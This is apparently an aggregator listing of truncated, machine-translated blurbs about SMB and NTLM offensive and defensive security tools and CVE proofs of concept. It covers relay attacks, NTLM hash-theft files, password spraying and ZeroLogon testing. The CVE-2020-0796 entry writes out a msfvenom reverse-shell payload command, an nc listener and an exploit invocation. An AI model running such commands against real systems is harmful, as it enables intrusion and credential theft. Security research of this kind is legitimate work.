PowerHuntShares

PowerHuntShares v2 PowerHuntSharesは、サイバーセキュリティチームやペネトレーションテスターが、保護するActive...

ExchangeRelayX

ExchangeRelayX バージョン1.0.0。このツールは、攻撃者がSMBまたはHTTPベースのNTLMリレー攻撃を実行し、オンプレミスのMicrosoft ExchangeサーバーのEWSエンドポイントに対して攻撃を行い、被害者のメールボックスを侵害する能力を示すPoCです。このツールは、被害者のメールボックスと連絡先にアクセスできるOWAのようなインターフェースを攻撃者に提供します。 背景 Defcon26でリリースされました。ツールの背景、悪用される中核的な問題、および録画されたデモはこちらをご覧ください:...

doublepulsar-detection-script

著者: Luke Jennings [email protected] - @jukelennings 会社: Countercept @countercept ウェブサイト: https://countercept.com Shadow Brokers によって公開された DOUBLEPULSAR インプラントの SMB 版と RDP 版の両方の存在を確認するために、IP アドレスのリストをスキャンする Python2 スクリプト群です。単一 IP のチェックと、ファイル内の IP リストをマルチスレッドでチェックする機能に対応しています。SMB...

TaskHound

Windows 特権スケジュールタスク発見ツール （楽しみと利益のため） TaskHound は、特権アカウントと保存された資格情報で実行される Windows スケジュールタスクを検索します。SMB 経由でタスクを列挙し、XML を解析し、BloodHound 統合を通じて高価値の攻撃機会を特定します。 背景や詳細な説明については、関連するブログ記事をご覧ください: Part 1 および Part 2。 主な機能 クイックスタートbash Install git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound...

CVE-2020-1206

在SMBGhost漏洞（CVE-2020-0796）中，我提到了一种通过利用整数溢出漏洞修改Alloc.Userbuffer指针指向我们想要的地址并写入任意数据的write-what-where原语技术。类似于SMBGhost，此漏洞也存在于srv2.sys中的Srv2DecompressData函数中。让我们再次回顾由Zecops简化的与SMBGhost漏洞（CVE-2020-0796）相关的Srv2DecompressData函数。 c typedef struct COMPRESSIONTRANSFORMHEADER ULONG ProtocolId; ULONG...

MSFinger

MSFinger - Microsoft 网络服务指纹识别工具 版本： 1.0 作者： Laurent Gaffie 公司： Secorizon 概述 MSFinger 是一款面向内网侦察的高性能网络指纹识别工具。它能够快速识别 Microsoft 服务、检测安全配置，并突出显示 SMB、LDAP 和 LDAPS 协议中的潜在漏洞。 主要功能： 针对内网优化的快速并发扫描（默认超时 1 秒） SMB/SMB2/SMB3 版本与签名检测 LDAP/LDAPS 签名与通道绑定检测 操作系统版本识别及内部版本号映射 使用 SQLite 数据库持久化保存扫描结果 彩色输出，突出显示安全风险 支持...

Spray

Spray Jacob Wilkin Greenwolf による Active Directory 認証情報のパスワードスプレー攻撃ツール はじめに この指示では、Spray を使用するための要件と方法を説明します。 前提条件 すべての要件は Kali Linux にプリインストールされています。他のディストリビューションや Mac で実行する場合は、apt-get または brew を使用して curl（OWA および Lync 用）と rpcclient（SMB 用）がインストールされていることを確認してください。（rpcclient は macOS では利用できないため、smb...

MANSPIDER

MANSPIDER 爬取SMB共享以获取敏感信息。支持文件内容搜索+正则表达式！ v2.0 新特性 MANSPIDER 2.0 来了！ 带来了重大改进： 全新改进的文本提取 ，基于 Kreuzberg 实现——现在支持 PDF、DOCX、XLSX、PPTX、带 OCR 的图片以及更多格式 现代化包管理 ，借助 uv 实现更快、更可靠的安装 Python 3.14 支持 ——为最新的 Python 版本做好准备 日期过滤 ——通过 --modified-after 和 --modified-before 按修改日期搜索文件 全面的单元测试 ——提高了可靠性和稳定性 支持的文件类型： PDF...

CVE-2024-27686

MikroTik RouterOS 拒绝服务漏洞 📌 描述 本文档描述了在特定版本的 MikroTik RouterOS 中发现的 拒绝服务（DoS）漏洞 。 该漏洞源于对特制 SMB 请求的处理不足 。远程攻击者可通过向目标服务器发送特制请求来利用此问题。 ✅ 成功利用 该漏洞可能导致受影响系统崩溃或无响应 。 🎯 受影响产品 产品| 受影响版本 ---|--- MikroTik RouterOS| 6.40.5 至 6.44 MikroTik RouterOS| 6.48.1 至 6.49.10 💥 影响 拒绝服务（DoS） 远程攻击者可导致易受攻击的 MikroTik Router...

SMB_CVE-2025-24071

CVE-2025-24071 PoC Método SMB + Extracción TAR Este es un PoC para explotar CVE-2025-24071 , una vulnerabilidad en Windows que permite la filtración del hash NTLM a través de archivos .library-ms. Esta versión difiere ligeramente de otras al usar un archivo .tar en lugar de un .zip, lo que mejora...

SharpStat

SharpStat Cユーティリティ。WMIを使用して"cmd.exe /c netstat -n"を実行し、出力をファイルに保存した後、SMBを使用してリモートからファイルを読み取り、削除します。 説明 このスクリプトは、指定されたすべてのコンピュータに接続し、WMIを使用してcmd.exe /c netstat -n を実行しようとします。出力が保存されるファイルは'-file'で指定します。netstatコマンドが実行されると、出力はリモートSMB呼び出しを介して読み取られ、その後削除されます。...

Coercer

Windows サーバーを自動的に強制し、さまざまな方法で任意のマシンに対して認証させる Python スクリプト。 Windows 対応 Windows 用バイナリをビルドするには、このリポジトリから installer.ps1 スクリプトをダウンロードします。引数なしで実行すると、作業ディレクトリにバイナリが作成されます。オプション付きのヘルプメニューを表示するには -h または --help を使用します。 機能 コア: リモートマシン上の開いている SMB パイプをリストアップ（scan 認証済みモードおよび fuzz 認証済みモード） 既知の SMB...

CVE-2025-24054_CVE-2025-24071-PoC

CVE-2025-24054 和 CVE-2025-24071 - 通过 .library-ms 利用的 NTLM 哈希泄漏 本 PoC 演示了在未打补丁的 Windows 系统（2025 年 3 月星期二补丁）上通过 .library-ms 文件利用 NTLM 哈希泄漏。 ⚠️ 仅用于教育和研究目的。请勿在生产环境或未经授权的系统上使用。 🧠 描述 当在 Windows 资源管理器中打开（或预览）包含 UNC 路径的 .library-ms 文件时，会触发向指定服务器发送 SMB 身份验证请求，从而泄漏 NTLMv2 哈希。 📁 文件 generatelibraryms.py：生成恶意的...

ntlm_theft

ntlmtheft NTLMv2ハッシュ窃取ファイルを複数のタイプで生成するツール。 ntlmtheftは、21種類のハッシュ窃取文書を生成するオープンソースのPython3ツールです。これらは、ターゲットが外部ネットワークへのSMBトラフィックを許可している場合、または内部ネットワークに既にいる場合に、フィッシングに使用できます。 これらのファイルタイプの利点は、マクロベースの文書やエクスプロイト文書とは異なり、すべてが「意図された機能」を使用して構築されていることです。2020年6月時点では、Windows Defender...

MassZeroLogon

ZeroLogon脆弱性CVE-2020-1472の一括テストツール 実行手順 このツールを使用するには、IPアドレスとホスト名をカンマで区切ったホストファイルが必要です。 ホストファイルのサンプル root@kitploit: 1.1.1.1 , WIN-6641554161U 1.1.1.1 , SERVERDATA 1.1.1.1 , SERVER2012 1.1.1.1 , DC01 1.1.1.1 , SERVER 以下の手順に従って、有効なIPアドレスを持つこのようなファイルを取得できます。 nmapを使用して以下のパラメータでスキャン root@kitploit: nmap...

xcavator

xcavator Un localizador de datos de red que utiliza credenciales obtenidas durante pruebas de penetración. Xcavator es una herramienta que escanea un rango de direcciones IP en busca de servicios que alojan archivos FTP, FTPS y SMB por el momento y, con las credenciales proporcionadas, intentará...

CVE-2025-24071

CVE-2025-24071 - Windows ファイル エクスプローラー NTLM ハッシュ漏洩 📋 概要 CVE-2025-24071 は、Windows ファイル エクスプローラー の脆弱性で、NTLM ハッシュの不正な開示を引き起こします。ユーザーが悪意のある .library-ms ファイルを含む特別に細工された .zip アーカイブを展開すると、Windows エクスプローラーが自動的にそのファイルを解析し、攻撃者が制御するサーバーへ SMB 認証要求を開始します。これにより、追加のユーザー操作なしで被害者の NTLM ハッシュが漏洩します。 ⚠️ 脆弱性の詳細 プロパティ|...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 の脆弱性の説明と研究（学期プロジェクトCENG325の初心者向け） 悪用方法？ リバースシェルのペイロード生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python リスニングポート： nc -lvnp 5555 エクスプロイトコードの実行： python3 exploit.py -ip TARGETIP PoC リポジトリ...

CVE-2021-31800

Impacket SECUREAUTH LABS. Copyright C 2022 SecureAuth Corporation. Todos los derechos reservados. Impacket es una colección de clases de Python para trabajar con protocolos de red. Impacket está enfocado en proporcionar acceso programático de bajo nivel a los paquetes y, para algunos protocolos p...

smbAutoRelay

免责声明 ：我对本工具的滥用不承担任何责任。您自行承担使用风险。运行前，请确保您处于受控环境，并有权执行此类操作。请务必友善 : SMB AutoRelay SMB AutoRelay 为渗透测试和红队演练中的 SMB/NTLM 中继技术提供了自动化方案，适用于活动目录环境。 用法 语法：./smbAutoRelay.sh -i -t -q -d。 示例：./smbAutoRelay.sh -i eth0 -t ./targets.txt。 注意：目标文件应仅包含每个目标的 IP 地址，每行一个，用于尝试 SMB/NTLM 中继技术。 运行 ./smbAutoRelay.sh -h...